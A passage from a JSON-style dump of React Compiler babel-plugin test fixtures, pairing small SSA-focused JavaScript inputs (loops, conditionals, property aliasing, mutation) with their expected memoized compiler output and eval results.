    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-complex-single-if.js",
    "content": "function foo() {\n  let x = 1;\n  let y = 2;\n  if (y === 2) {\n    x = 3;\n  }\n\n  y = x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-for-of.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(cond) {\n  let items = [];\n  for (const item of items) {\n    let y = 0;\n    if (cond) {\n      y = 1;\n    }\n  }\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo(cond) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const items = t0;\n  for (const item of items) {\n    if (cond) {\n    }\n  }\n\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-for-of.js",
    "content": "function foo(cond) {\n  let items = [];\n  for (const item of items) {\n    let y = 0;\n    if (cond) {\n      y = 1;\n    }\n  }\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-for-trivial-update.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  let x = 1;\n  for (let i = 0; i < 10; /* update is intentally a single identifier */ i) {\n    x += 1;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo() {\n  let x = 1;\n  for (const i = 0; true; 0) {\n    x = x + 1;\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-for-trivial-update.js",
    "content": "function foo() {\n  let x = 1;\n  for (let i = 0; i < 10; /* update is intentally a single identifier */ i) {\n    x += 1;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-for.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  let x = 1;\n  for (let i = 0; i < 10; i++) {\n    x += 1;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo() {\n  let x = 1;\n  for (let i = 0; i < 10; i++) {\n    x = x + 1;\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) 11"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-for.js",
    "content": "function foo() {\n  let x = 1;\n  for (let i = 0; i < 10; i++) {\n    x += 1;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-if-else.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  let x = 1;\n  let y = 2;\n\n  if (y) {\n    let z = x + y;\n  } else {\n    let z = x;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo() {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-if-else.js",
    "content": "function foo() {\n  let x = 1;\n  let y = 2;\n\n  if (y) {\n    let z = x + y;\n  } else {\n    let z = x;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-leave-case.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  let x = [];\n  let y;\n  if (props.p0) {\n    x.push(props.p1);\n    y = x;\n  }\n  return (\n    <Stringify>\n      {x}\n      {y}\n    </Stringify>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{p0: false, p1: 2}],\n  sequentialRenders: [\n    {p0: false, p1: 2},\n    {p0: false, p1: 2},\n    {p0: true, p1: 2},\n    {p0: true, p1: 3},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(3);\n  let t0;\n  if ($[0] !== props.p0 || $[1] !== props.p1) {\n    const x = [];\n    let y;\n    if (props.p0) {\n      x.push(props.p1);\n      y = x;\n    }\n    t0 = (\n      <Stringify>\n        {x}\n        {y}\n      </Stringify>\n    );\n    $[0] = props.p0;\n    $[1] = props.p1;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ p0: false, p1: 2 }],\n  sequentialRenders: [\n    { p0: false, p1: 2 },\n    { p0: false, p1: 2 },\n    { p0: true, p1: 2 },\n    { p0: true, p1: 3 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"children\":[[],null]}</div>\n<div>{\"children\":[[],null]}</div>\n<div>{\"children\":[[2],\"[[ cyclic ref *2 ]]\"]}</div>\n<div>{\"children\":[[3],\"[[ cyclic ref *2 ]]\"]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-leave-case.js",
    "content": "import {Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  let x = [];\n  let y;\n  if (props.p0) {\n    x.push(props.p1);\n    y = x;\n  }\n  return (\n    <Stringify>\n      {x}\n      {y}\n    </Stringify>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{p0: false, p1: 2}],\n  sequentialRenders: [\n    {p0: false, p1: 2},\n    {p0: false, p1: 2},\n    {p0: true, p1: 2},\n    {p0: true, p1: 3},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-multiple-phis.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b, c, d) {\n  let x = 0;\n  if (true) {\n    if (true) {\n      x = a;\n    } else {\n      x = b;\n    }\n    x;\n  } else {\n    if (true) {\n      x = c;\n    } else {\n      x = d;\n    }\n    x;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo(a, b, c, d) {\n  let x;\n\n  x = a;\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-multiple-phis.js",
    "content": "function foo(a, b, c, d) {\n  let x = 0;\n  if (true) {\n    if (true) {\n      x = a;\n    } else {\n      x = b;\n    }\n    x;\n  } else {\n    if (true) {\n      x = c;\n    } else {\n      x = d;\n    }\n    x;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-nested-loops-no-reassign.expect.md",
    "content": "\n## Input\n\n```javascript\n// @xonly\nfunction foo(a, b, c) {\n  let x = 0;\n  while (a) {\n    while (b) {\n      while (c) {\n        x + 1;\n      }\n    }\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\n// @xonly\nfunction foo(a, b, c) {\n  while (a) {\n    while (b) {\n      while (c) {}\n    }\n  }\n\n  return 0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-nested-loops-no-reassign.js",
    "content": "// @xonly\nfunction foo(a, b, c) {\n  let x = 0;\n  while (a) {\n    while (b) {\n      while (c) {\n        x + 1;\n      }\n    }\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-nested-partial-phi.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b, c) {\n  let x = a;\n  if (b) {\n    if (c) {\n      x = c;\n    }\n    // TODO: move the return to the end of the function\n    return x;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo(a, b, c) {\n  let x = a;\n  if (b) {\n    if (c) {\n      x = c;\n    }\n\n    return x;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-nested-partial-phi.js",
    "content": "function foo(a, b, c) {\n  let x = a;\n  if (b) {\n    if (c) {\n      x = c;\n    }\n    // TODO: move the return to the end of the function\n    return x;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-nested-partial-reassignment.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b, c, d, e) {\n  let x = null;\n  if (a) {\n    x = b;\n  } else {\n    if (c) {\n      x = d;\n    }\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo(a, b, c, d, e) {\n  let x = null;\n  if (a) {\n    x = b;\n  } else {\n    if (c) {\n      x = d;\n    }\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-nested-partial-reassignment.js",
    "content": "function foo(a, b, c, d, e) {\n  let x = null;\n  if (a) {\n    x = b;\n  } else {\n    if (c) {\n      x = d;\n    }\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-newexpression.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Foo() {}\n\nfunction Component(props) {\n  const a = [];\n  const b = {};\n  let c = new Foo(a, b);\n  return c;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Foo() {}\n\nfunction Component(props) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const a = [];\n    const b = {};\n    t0 = new Foo(a, b);\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const c = t0;\n  return c;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-newexpression.js",
    "content": "function Foo() {}\n\nfunction Component(props) {\n  const a = [];\n  const b = {};\n  let c = new Foo(a, b);\n  return c;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-non-empty-initializer.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b) {\n  let x = [];\n  if (a) {\n    x = 1;\n  }\n\n  let y = x;\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo(a, b) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  let x = t0;\n  if (a) {\n    x = 1;\n  }\n\n  const y = x;\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-non-empty-initializer.js",
    "content": "function foo(a, b) {\n  let x = [];\n  if (a) {\n    x = 1;\n  }\n\n  let y = x;\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-objectexpression-phi.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  let x = 1;\n  let y = 2;\n\n  if (x > 1) {\n    x = 2;\n  } else {\n    y = 3;\n  }\n\n  let t = {x: x, y: y};\n  return t;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = { x: 1, y: 3 };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const t = t0;\n  return t;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"x\":1,\"y\":3}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-objectexpression-phi.js",
    "content": "function foo() {\n  let x = 1;\n  let y = 2;\n\n  if (x > 1) {\n    x = 2;\n  } else {\n    y = 3;\n  }\n\n  let t = {x: x, y: y};\n  return t;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-objectexpression.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const a = 1;\n  const b = 2;\n  const x = {a: a, b: b};\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = { a: 1, b: 2 };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const x = t0;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-objectexpression.js",
    "content": "function Component(props) {\n  const a = 1;\n  const b = 2;\n  const x = {a: a, b: b};\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-alias-alias-mutate-if.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a) {\n  const b = {};\n  const x = b;\n  if (a) {\n    let y = {};\n    x.y = y;\n  } else {\n    let z = {};\n    x.z = z;\n  }\n  mutate(b); // aliases x, y & z\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo(a) {\n  const $ = _c(2);\n  let x;\n  if ($[0] !== a) {\n    const b = {};\n    x = b;\n    if (a) {\n      const y = {};\n      x.y = y;\n    } else {\n      const z = {};\n      x.z = z;\n    }\n\n    mutate(b);\n    $[0] = a;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-alias-alias-mutate-if.js",
    "content": "function foo(a) {\n  const b = {};\n  const x = b;\n  if (a) {\n    let y = {};\n    x.y = y;\n  } else {\n    let z = {};\n    x.z = z;\n  }\n  mutate(b); // aliases x, y & z\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-alias-if.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a) {\n  const x = {};\n  if (a) {\n    let y = {};\n    x.y = y;\n  } else {\n    let z = {};\n    x.z = z;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo(a) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== a) {\n    x = {};\n    if (a) {\n      let t0;\n      if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n        t0 = {};\n        $[2] = t0;\n      } else {\n        t0 = $[2];\n      }\n      const y = t0;\n      x.y = y;\n    } else {\n      let t0;\n      if ($[3] === Symbol.for(\"react.memo_cache_sentinel\")) {\n        t0 = {};\n        $[3] = t0;\n      } else {\n        t0 = $[3];\n      }\n      const z = t0;\n      x.z = z;\n    }\n    $[0] = a;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-alias-if.js",
    "content": "function foo(a) {\n  const x = {};\n  if (a) {\n    let y = {};\n    x.y = y;\n  } else {\n    let z = {};\n    x.z = z;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-alias-mutate-if.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a) {\n  const x = {};\n  if (a) {\n    let y = {};\n    x.y = y;\n  } else {\n    let z = {};\n    x.z = z;\n  }\n  mutate(x);\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo(a) {\n  const $ = _c(2);\n  let x;\n  if ($[0] !== a) {\n    x = {};\n    if (a) {\n      const y = {};\n      x.y = y;\n    } else {\n      const z = {};\n      x.z = z;\n    }\n\n    mutate(x);\n    $[0] = a;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-alias-mutate-if.js",
    "content": "function foo(a) {\n  const x = {};\n  if (a) {\n    let y = {};\n    x.y = y;\n  } else {\n    let z = {};\n    x.z = z;\n  }\n  mutate(x);\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-alias-mutate-inside-if.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a) {\n  const x = {};\n  if (a) {\n    let y = {};\n    x.y = y;\n    mutate(y); // aliases x & y, but not z\n  } else {\n    let z = {};\n    x.z = z;\n  }\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo(a) {\n  const $ = _c(3);\n  let x;\n  if ($[0] !== a) {\n    x = {};\n    if (a) {\n      const y = {};\n      x.y = y;\n      mutate(y);\n    } else {\n      let t0;\n      if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n        t0 = {};\n        $[2] = t0;\n      } else {\n        t0 = $[2];\n      }\n      const z = t0;\n      x.z = z;\n    }\n    $[0] = a;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-alias-mutate-inside-if.js",
    "content": "function foo(a) {\n  const x = {};\n  if (a) {\n    let y = {};\n    x.y = y;\n    mutate(y); // aliases x & y, but not z\n  } else {\n    let z = {};\n    x.z = z;\n  }\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-alias-mutate.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  const a = {};\n  const x = a;\n\n  const y = {};\n  y.x = x;\n\n  mutate(a); // y & x are aliased to a\n  return y;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo() {\n  const $ = _c(1);\n  let y;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const a = {};\n    const x = a;\n    y = {};\n    y.x = x;\n\n    mutate(a);\n    $[0] = y;\n  } else {\n    y = $[0];\n  }\n  return y;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-alias-mutate.js",
    "content": "function foo() {\n  const a = {};\n  const x = a;\n\n  const y = {};\n  y.x = x;\n\n  mutate(a); // y & x are aliased to a\n  return y;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-call.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  const x = [];\n  const y = {x: x};\n  y.x.push([]);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo() {\n  const $ = _c(1);\n  let y;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const x = [];\n    y = { x };\n    y.x.push([]);\n    $[0] = y;\n  } else {\n    y = $[0];\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"x\":[[]]}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-call.js",
    "content": "function foo() {\n  const x = [];\n  const y = {x: x};\n  y.x.push([]);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-mutate-2.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  const x = [];\n  const y = {};\n  y.x = x;\n  mutate(x);\n  return y;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo() {\n  const $ = _c(1);\n  let y;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const x = [];\n    y = {};\n    y.x = x;\n    mutate(x);\n    $[0] = y;\n  } else {\n    y = $[0];\n  }\n  return y;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-mutate-2.js",
    "content": "function foo() {\n  const x = [];\n  const y = {};\n  y.x = x;\n  mutate(x);\n  return y;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-mutate-alias.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  const a = {};\n  const y = a;\n  const x = [];\n\n  y.x = x;\n\n  mutate(a); // y & x are aliased to a\n  return y;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo() {\n  const $ = _c(1);\n  let y;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const a = {};\n    y = a;\n    const x = [];\n\n    y.x = x;\n\n    mutate(a);\n    $[0] = y;\n  } else {\n    y = $[0];\n  }\n  return y;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-mutate-alias.js",
    "content": "function foo() {\n  const a = {};\n  const y = a;\n  const x = [];\n\n  y.x = x;\n\n  mutate(a); // y & x are aliased to a\n  return y;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-mutate.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  const x = [];\n  const y = {};\n  y.x = x;\n  mutate(y);\n  return y;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo() {\n  const $ = _c(1);\n  let y;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const x = [];\n    y = {};\n    y.x = x;\n    mutate(y);\n    $[0] = y;\n  } else {\n    y = $[0];\n  }\n  return y;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-mutate.js",
    "content": "function foo() {\n  const x = [];\n  const y = {};\n  y.x = x;\n  mutate(y);\n  return y;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  const x = [];\n  const y = {};\n  y.x = x;\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo() {\n  const $ = _c(1);\n  let y;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const x = [];\n    y = {};\n    y.x = x;\n    $[0] = y;\n  } else {\n    y = $[0];\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"x\":[]}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property.js",
    "content": "function foo() {\n  const x = [];\n  const y = {};\n  y.x = x;\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-reassign-in-rval.expect.md",
    "content": "\n## Input\n\n```javascript\n// Forget should call the original x (x = foo()) to compute result\nfunction Component() {\n  let x = foo();\n  let result = x((x = bar()), 5);\n  return [result, x];\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // Forget should call the original x (x = foo()) to compute result\nfunction Component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    let x = foo();\n    const result = x((x = bar()), 5);\n    t0 = [result, x];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-reassign-in-rval.js",
